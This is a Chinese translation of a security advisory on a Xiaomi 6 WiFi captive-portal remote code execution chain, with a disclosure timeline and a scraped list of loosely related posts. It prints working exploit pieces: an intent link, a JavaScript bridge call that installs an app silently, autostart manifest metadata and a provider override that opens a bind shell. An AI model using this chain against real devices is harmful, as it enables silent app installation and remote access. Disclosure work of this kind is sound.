小米商城html代码_小米6 WiFi验证门户中的RCE漏洞
介绍
在2018年的Pwn2own上,F-Secure实验室演示了小米6在连接攻击者所控制的恶意WiFi热点后被攻陷。以下是具体步骤:
- 用户加入由攻击者控制的WiFi,手机会通过发送测试性的HTTP GET请求来检查WiFi是否有强制认证门户
- WiFi AP会做出200响应,并且在返回正文中插入恶意代码
- 手机会自动用HTML浏览器打开响应,也就是进入特定的URL
- 而在打开的特定域的恶意页面中,启用了一个危险的javascript bridge
- 这个bridge可从小米应用商店下载应用
- 最后利用Android组件中的某个漏洞自动启动恶意应用
技术细节
小米6(以及某些小米设备)与其他Android设备的不同之处在于,当在“高优先级”网络上检测到强制认证门户时,它会自动在一个HTML浏览器中打开,而不是提示用户。
攻击者可以通过创建一个恶意的WiFi AP来进行攻击。当受害者第一次加入网络时,他们可以直接访问网络,然后小米设备就会把这个网络设置为“高优先级”,因为它提供了“良好的”网络体验。然后攻击者重启WiFi AP,并将以下主机重定向到本地Web服务器:
connect.rom.miui.com
而本地Web服务对于手机发出的测试请求http://connect.rom.miui.com/generate_204
肯定会返回200,并且返回的页面中还包含下一步的payload。此时,小米6会自动打开强制认证门户。
浏览器跳转
而在浏览器中打开强制认证门户包含一个WebView,它会加载generate_204
请求的结果。这个WebView启用了javascript,可以通过自定义模式加载其他应用,其中包括“intent”模式。由于小米浏览器包含了一个BROWSABLE intent的http方案,因此下面的HTML可以用来加载浏览器:
<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){document.getElementById('foo').click();
}
</script>
使用javascript bridge安装APK
小米浏览器中有一个在所有页面中都存在的javascript bridge,miui
。它包含如下方法:
public abstract class a implements IMiuiApi {public class com.android.browser.js.a$a {
@javascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {this.a();ae.a(this.a, arg2, arg3, arg4);}
它调用了a
方法去启动一个安装服务:
private void a(String arg4, String arg5) {Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");v0.setPackage(arg4);v0.putExtra("packageName", arg5);v0.putExtra("type", 2);v0.putExtra("ref", "browser_suggestbutton");this.W.startService(v0);
这个bridge的一个限制是,它只在URL以数组bf.a
包含的字符串为结尾的页面上运行:
public class bf {private static final String[] a;private static Pattern b;
static {bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};}
由于这是攻击者所控制的WiFi AP,所以很容易绕过,例如以下URL:
http://testing.mi.com/thanks.html
以上页面包含以下HTML:
<script>function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>
当代码运行后,将连接到小米应用商店,下载特定的应用,假设为Drozer。
自动运行
2017年出现的针对三星S8手机的应用自启动漏洞其实不仅限于三星,还影响到所有Android设备。其中的Contacts provider组件(com.android.providers.Contacts)会检查每个新安装的应用程序,查看在AndroidManifest.xml
文件中的元数据是否包含一个provider。
<meta-data android:name="android.content.ContactDirectory" android:value="true"/>
而在Drozer应用中的以下内容将触发这个缺陷:
<provider android:name="com.mwr.dz.MyContentProvider" android:authorities="dzprovider" android:enabled="true" android:exported="true"> <meta-data android:name="android.content.ContactDirectory" android:value="true"/>
</provider>
当检测到元数据时,会尝试使用onQuery方法对provider进行询问。而这个询问方法会被Drozer重写,变成一个打开绑定shell的命令。
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { Intent i = new Intent(); i.addCategory("com.mwr.dz.START_EMBEDDED"); i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));Context c = getContext(); c.startService(i);
}
最终打开的端口在31415。
时间线
2018-11-14:在Pwn2Own向ZDI报告了漏洞
2019-01-27:ZDI与厂商联系,请求交流
2019-02-06:ZDI再次联系厂商,要求更新漏洞流程
2019-02-06:厂商答复计划在二月底之前发布更新
2019-02-08:ZDI通知厂商,如果2月底前没有可用的安全补丁,则将结束整个漏洞流程
2019-03-04:厂商进行了答复,但未提供最终时间
2019-06-03:ZDI通知厂商打算结束整个漏洞流程
2019-11-22:F-Secure发布漏洞详情
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.f-secure.com/advisories/xiaomi-wifi/
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:小米6 WiFi验证门户中的RCE漏洞
原文:https://labs.f-secure.com/advisories/xiaomi-wifi/
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
小米商城html代码_小米6 WiFi验证门户中的RCE漏洞相关推荐
- 小米6 WiFi验证门户中的RCE漏洞
介绍 在2018年的Pwn2own上,F-Secure实验室演示了小米6在连接攻击者所控制的恶意WiFi热点后被攻陷.以下是具体步骤: 用户加入由攻击者控制的WiFi,手机会通过发送测试性的HTTP ...
- html应用json 文件_安全研究 | Slack桌面应用程序的RCE漏洞+XSS漏洞
对于Slack的桌面应用程序来说,一些应用内跳转.XSS.逻辑重定向和HTML或javascript注入bug,都有可能导致任意代码执行.这篇Writeup就讲述了作者通过构造HTML注入,绕过Sla ...
- x21能刷小米系统吗_小米系统是安卓系统中最强的吗?大家都错了,它是MIUI的进化版...
小米系统是安卓系统中最强的吗?大家都错了,它是MIUI的进化版 现在国产手机做得越来越好了,在硬件方面国产手机比同级别的外国品牌要厚道太多了,所以在中国,外国品牌是没有任何生存空间的.在性价比方面他们 ...
- rmi反序列化导致rce漏洞修复_企业安全05-Fastjson =1.2.47反序列化RCE漏洞(CNVD-2019-22238)...
Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...
- 小米商城抢购脚本_小米10系列MiCare保障服务上线:免费2次换屏 549元起
今天,小米手机保障服务MiCare正式上线.MiCare服务内容包括两年2次碎屏免费修.官方延保1年.1年内保值换新等.据悉,MiCare保障服务有两项优势:优势一.若一年内使用保值换新,除在换新前享 ...
- 小米手机电池恢复代码_小米“米家电磁炉C1”评测:7挡火力,2100W大功率设计...
小米科技旗下的"米家"品牌推出厨电类产品并不是什么新鲜的事情了,之前就推出过:米家电饭煲.米家电烤箱.米家微波炉等,几乎日常使用的厨电米家都有推出.最近,米家又推出了一款新品电磁炉 ...
- 小米商城html代码_微服务架构实战:商城的用户登录与账户切换设计、订单查询设计...
商城的用户登录与账号切换设计 在移动商城的设计中,除商品和分类查询是完全开放权限的页面外,其他涉及个人隐私的个人信息.订单查询和购物车等都必须进行权限管理. 有关用户权限管理的功能,在这里根据移动设备 ...
- excel导入数据校验_从Excel数据验证列表中选择多个项目
excel导入数据校验 You've probably used an Excel data validation drop down list, where you can click the ar ...
- python游戏结束显示分数代码_当游戏循环在Python中运行时,多线程来显示游戏分数?...
我想根据比赛时间的推移得分.为此,我想让两个循环同时运行.游戏循环和得分循环,每1.5秒加1.当我运行程序时,分数不会出现.我是否正确使用多线程?这是最好的办法吗?为了简单起见,我只发布了相关代码.谢 ...
最新文章
- Java学习总结:41(文件操作类:File)
- live555的编译及使用
- linux中的pppoe拨号上网
- 从表到里学习JVM实现
- 在IIS6上部署WebService
- boost::movelib::unique_ptr相关用法的测试程序
- MySQL在Django框架下的基本操作(MySQL在Linux下配置)
- 音视频开发(36)---麦克风阵列声音定位解决方案
- 函数glDefinePopup(),动态定义多级的popup菜单
- javaScript引入方式
- websockets_将WebSockets与Node.js结合使用
- matlab 车牌汉字识别系统,基于MATLAB车牌自动识别系统设计毕业设计论文最新版...
- WIN10家庭版+ANSYS/AUTODYN安装学习
- 【python】py课上机作业3「谢尔宾斯基三角形」「递归输出列表」
- Struts2项目实战 微云盘(五):核心功能实现
- mysql及格率公式_关于mysql进行名次的排名和计算及格率的分享
- 让tp6显示错误信息及行号
- 抖音直播前需要准备什么,抖音直播带货详细流程步骤丨国仁网络资讯
- DBeaver 驱动安装
- wifi网络为什么总是断线 (by quqi99)
热门文章
- Android自定义View来实现解析lrc歌词同步滚动、上下拖动、缩放歌词等功能
- 成功实施SOA:从物理排列到化学反应
- WordPress有新评论时微信通知站长
- FFmpeg用于flv/QSV格式转换(速度接近拷贝)
- 推荐 :ChatGPT研究框架(80页PPT)
- ngnix有版本要求吗_魔兽世界:暴雪疯了?新版本老玩家遭重大削弱,这是逼人AFK?...
- C语言程序设计精髓第四周编程
- Android问题笔记 - AutoSize的Toast失效
- linux centos7 hadoop2.7.7HA集群搭建
- 2020年第十七届数模竞赛F题 飞行器质心平衡供油策略优化 建模【分享交流】